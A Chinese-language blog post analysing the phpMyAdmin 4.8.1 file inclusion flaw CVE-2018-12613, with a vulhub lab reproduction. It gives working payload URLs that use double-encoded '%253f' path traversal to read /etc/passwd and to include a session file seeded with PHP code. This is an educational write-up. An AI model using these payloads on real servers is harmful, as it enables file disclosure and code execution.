phpmyadmin4.8.1遠程文件包含漏洞(CVE-2018-12613)

phpMyAdmin是一套開源的、基于Web的MySQL數據庫管理工具。其index.php中存在一處文件包含邏輯,通過二次編碼即可繞過檢查,造成遠程文件包含漏洞。

參考文檔:

漏洞原理

一個攻擊者可以在服務器上包含(查看和潛在執行)文件的漏洞被發現。該漏洞來自一部分代碼,其中頁面在phpMyAdmin中被重定向和加載,以及對白名單頁面進行不正確的測試。攻擊者必須經過身份驗證,但在這些情況下除外:

$ cfg ['AllowArbitraryServer'] = true:攻擊者可以指定他/她已經控制的任何主機,并在phpMyAdmin上執行任意代碼

$ cfg ['ServerDefault'] = 0:這會繞過登錄并在沒有任何身份驗證的情況下運行易受攻擊的代碼

漏洞形成的原因

/index.php//line 55-63


image.png

if區間一共有五個判斷:

1、是否存在target參數

2、target參數是否為字符串

3、值不能以index開頭值不能出現在$target_blacklist內

4、Core類的checkPageValidity方法判斷

如果通過判斷則包含參數所指定的文件。

前幾個判斷可以忽略,重要的是后面兩個判斷,先看第一個

/index.php


image.png

$target_blacklist中的數組為import.php 和 export.php,只要target的值不是這兩個就可以
我們看下一個判斷
首先找到Core類的checkPageValidity函數:

image.png
checkPageValidity函數里又是五個判斷:

1、$whitelist為空則引用靜態聲明的$goto_whitelist

2、如果$page沒有被定義過或者$page不為字符串則return false

3、$page存在$whitelist中的某個值則返回true

4、$_page存在$whitelist中的某個值則返回true

5、經過urldecode函數解碼后的$_page存在$whitelist中的某個值則返回true

我們來逐行分析:
首先index.php調用checkPageValidity參數時并沒有傳第二個參數所以會進入此參數的第一個if區間,我們來看一下$goto_whilelist

image.png
$goto_whilelist定義了些可以被包含的文件名(省略了一部分)第二個if直接跳過我們來看第三個if區間,如果$page如果等于$goto_whilelist的某個值則return真。phpmyadmin的開發團隊考慮的很全面,想到了會存在target的值后面再跟參數的情況,于是有了第三個判斷:
image.png
$_page為 以?分割然后取出前面的字符串再判斷值是否存在與$goto_whilelist某個數組中。

這個判斷的作用是,如果target值帶有參數的情況下,phpmyadmin也能正確的包含文件。

也正是因為phpmyadmin團隊考慮的太全面了,才會出現此漏洞......

image.png
后面又將$page參數用urlencode解碼再進行以?分割取出前面的值做判斷。那么傳入target=db_sql.php%253f/../../test.txttxt內容為<?php phpinfo();?>//%253f是?號的二此url編碼urlcode將$page解碼后是db_sql.php?/../../test.php  再以?分割取出來前面的字符串為index.php,$whitelist中有index.php所以會進入最后一個if區間return true

漏洞利用

漏洞環境:
0x01 源碼下載地址
https://github.com/vulhub/vulhub/tree/master/phpmyadmin/CVE-2018-12613

0x02 首先進入到CVE-2018-12613目錄

cd /home/phpmyadmin/CVE-2018-12613/

0x03 接著執行如下命令,啟動phpmyadmin 4.8.1

docker-compose up -d

環境啟動后,訪問http://your-ip:12613,即可進入phpmyadmin。配置的是“config”模式,所以無需輸入密碼,直接登錄test賬戶。

image.png

訪問http://your-ip:12613/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd,可見/etc/passwd被讀取,說明文件包含漏洞存在:
image.png

利用方式也比較簡單,可以先執行一下SELECT '<?php phpinfo()?>';,執行成功之后
image.png

image.png

然后查看自己的sessionid(cookie中phpMyAdmin的值)
image.png

然后訪問http://192.168.10.115:12613/index.php?target=db_sql.php%253f/../../../../../../../../tmp/sess_ 34340c2ca491f432a79710ca55f6a81c包含session文件即可
image.png

?著作權歸作者所有,轉載或內容合作請聯系作者
平臺聲明:文章內容(如有圖片或視頻亦包括在內)由作者上傳并發布,文章內容僅代表作者本人觀點,簡書系信息發布平臺,僅提供信息存儲服務。

推薦閱讀更多精彩內容